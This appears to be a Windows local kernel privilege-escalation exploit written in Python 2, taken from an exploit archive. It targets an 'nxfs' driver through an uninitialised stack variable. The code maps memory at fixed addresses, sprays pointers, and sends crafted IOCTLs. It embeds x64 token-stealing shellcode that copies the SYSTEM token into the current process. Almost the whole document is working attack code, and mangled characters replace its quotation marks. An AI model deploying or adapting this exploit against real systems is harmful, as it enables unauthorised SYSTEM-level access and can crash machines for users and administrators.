Exploit for windows platform in category local exploits
from ctypes import *
from ctypes.wintypes import *
import struct
import sys
import os
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
STATUS_INVALID_HANDLE = 0xC0000008
shellcode_len = 90
s = ββ
s += β\x65\x48\x8B\x04\x25\x88\x01\x00β #mov rax, [gs:0x188]
s += β\x00β
s += β\x48\x8B\x40\x70β #mov rax, [rax + 0x70]
s += β\x48\x8B\x98\x90\x02\x00\x00β #mov rbx, [rax + 0x290]
s += β\x48\x8B\x80\x88\x01\x00\x00β #mov rax, [rax + 0x188]
s += β\x48\x2D\x88\x01\x00\x00β #sub rax, 0x188
s += β\x48\x39\x98\x80\x01\x00\x00β #cmp [rax + 0x180], rbx
s += β\x75\xEAβ #jne Loop1
s += β\x48\x89\xC1β #mov rcx, rax
s += β\xBA\x04\x00\x00\x00β #mov rdx, 0x4
s += β\x48\x8B\x80\x88\x01\x00\x00β #mov rax, [rax + 0x188]
s += β\x48\x2D\x88\x01\x00\x00β #sub rax, 0x188
s += β\x48\x39\x90\x80\x01\x00\x00β #cmp [rax + 0x180], rdx
s += β\x75\xEAβ #jne Loop2
s += β\x48\x8B\x80\x08\x02\x00\x00β #mov rax, [rax + 0x208]
s += β\x48\x89\x81\x08\x02\x00\x00β #mov [rcx + 0x208], rax
s += β\x48\x31\xC0β #xor rax,rax
s += β\xc3β #ret
shellcode = s
ββ
* Convert a python string to PCHAR
@Param string β the string to be converted.
@Return β a PCHAR that can be used by winapi functions.
ββ
def str_to_pchar(string):
pString = c_char_p(string)
return pString
ββ
* Map memory in userspace using NtAllocateVirtualMemory
@Param address β The address to be mapped, such as 0x41414141.
@Param size β the size of the mapping.
@Return β a tuple containing the base address of the mapping and the size returned.
ββ
def map_memory(address, size):
temp_address = c_void_p(address)
size = c_uint(size)
proc = windll.kernel32.GetCurrentProcess()
nt_status = windll.ntdll.NtAllocateVirtualMemory(c_void_p(proc),
byref(temp_address), 0,
byref(size),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
#The mapping failed, let the calling code know
if nt_status != 0:
return (-1, c_ulong(nt_status).value)
else:
return (temp_address, size)
ββ
* Write to some mapped memory.
@Param address β The address in memory to write to.
@Param size β The size of the write.
@Param buffer β A python buffer that holds the contents to write.
@Return β the number of bytes written.
ββ
def write_memory(address, size, buffer):
temp_address = c_void_p(address)
temp_buffer = str_to_pchar(buffer)
proc = c_void_p(windll.kernel32.GetCurrentProcess())
bytes_ret = c_ulong()
size = c_uint(size)
windll.kernel32.WriteProcessMemory(proc,
temp_address,
temp_buffer,
size,
byref(bytes_ret))
return bytes_ret
ββ
* Get a handle to a device by its name. The calling code is responsible for
* checking the handle is valid.
@Param device_name β a string representing the name, ie \\\\.\\nxfs-netβ¦.
ββ
def get_handle(device_name):
return windll.kernel32.CreateFileA(device_name,
GENERIC_READ | GENERIC_WRITE,
0,
None,
OPEN_EXISTING,
0,
None)
def main():
print β[+] Attempting to exploit uninitialised stack variable, this has a chance of causing a bsod!β
print β[+] Mapping the regions of memory we requireβ
#Try and map the first 3 critical regions, if any of them fail we exit.
address_1, size_1 = map_memory(0x14c00000, 0x1f0000)
if address_1 == -1:
print β[x] Mapping 0x610000 failed with error %xβ %size_1
sys.exit(-1)
address_2, size_2 = map_memory(0x41414141, 0x100000)
if address_2 == -1:
print β[x] Mapping 0x41414141 failed with error %xβ %size_2
sys.exit(-1)
address_3, size_3 = map_memory(0xbad0b0b0, 0x1000)
if address_3 == -1:
print β[x] Mapping 0xbad0b0b0 failed with error %xβ %size_3
sys.exit(-1)
#this will hold our shellcode
sc_address, sc_size = map_memory(0x42424240, 0x1000)
if sc_address == -1:
print β[x] Mapping 0xbad0b0b0 failed with error %xβ %sc_size
sys.exit(-1)
#Now we write certain values to those mapped memory regions
print β[+] Writing data to mapped memoryβ¦β
#the first write involves storing a pointer to our shellcode
#at offset 0xbad0b0b0+0xa8
buff = β\x40BBBβ #0x42424240
bytes_written = write_memory(0xbad0b0b0+0xa8, 4, buff)
write_memory(0x42424240, shellcode_len, shellcode)
#the second write involves spraying the first memory address with pointers
#to our second mapped memory.
print β\t spraying unitialised pointer memory with userland pointersβ
buff = β\x40AAAβ #0x0000000041414140
for offset in range(4, size_1.value, 8):
temp_address = address_1.value + offset
write_memory(temp_address, 4, buff)
#the third write simply involves setting 0x41414140-0x18 to 0x5
#this ensures the kernel creates a handle to a TOKEN object.
print β[+] Setting TOKEN type index in our userland pointerβ
buff = β\x05β
temp_address = 0x41414140-0x18
write_memory(temp_address, 1, buff)
print β[+] Writing memory finished, getting handle to first deviceβ
handle = get_handle(β\\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061β)
if handle == STATUS_INVALID_HANDLE:
print β[x] Couldnβt get handle to \\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061β
sys.exit(-1)
#if we have a valid handle, we now need to send ioctl 0x222014
#this creates a new device for which ioctl 0x222030 can be sent
in_buff = struct.pack(β<Iβ, 0x190) + struct.pack(β<Iβ, 0x1) + βAAβ
in_buff = str_to_pchar(in_buff)
out_buff = str_to_pchar(βAβ*0x90)
bytes_ret = c_ulong()
ret = windll.kernel32.DeviceIoControl(handle,
0x222014,
in_buff,
0x10,
out_buff,
0x90,
byref(bytes_ret),
0)
if ret == 0:
print β[x] IOCTL 0x222014 failedβ
sys.exit(-1)
print β[+] IOCTL 0x222014 returned successβ
#get a handle to the next device for which we can send the vulnerable ioctl.
print β[+] Getting handle to \\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}β
handle = get_handle(β\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}β)
if handle == STATUS_INVALID_HANDLE:
print β[x] Couldnβt get handleβ
sys.exit(-1)
#this stage involves attempting to manipulate the Object argument on the stack.
#we found that making repeated calles to CreateFileA increased this value.
print β[+] Got handle to second device, now generating a load more handlesβ
for i in range(0, 900000):
temp_handle = get_handle(β\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}β)
#coming towards the end, we send ioctl 0x222030, this has the potential to bluescreen the system.
#we donβt care about the return code.
print β[+] Sending IOCTL 0x222030β
in_buff = str_to_pchar(βAβ*0x30)
out_buff = str_to_pchar(βBβ*0x30)
windll.kernel32.DeviceIoControl(handle,
0x222030,
in_buff,
0x30,
out_buff,
0x30,
byref(bytes_ret),
0)
#finally, we confuse the kernel by setting our object type index to 1.
#this then points to 0xbad0b0b0, and namely 0xbad0b0b0+0xa8 for the close procedure(???)
print β[+] Setting our object type index to 1β
temp_address = 0x41414140-0x18
write_memory(temp_address, 1, β\x01β)
#The process should now exit, where the kernel will attempt to clean up our dodgy handle
#This will cause β¦..
if __name__ == β__main__β:
main()
# 0day.today [2018-03-05] #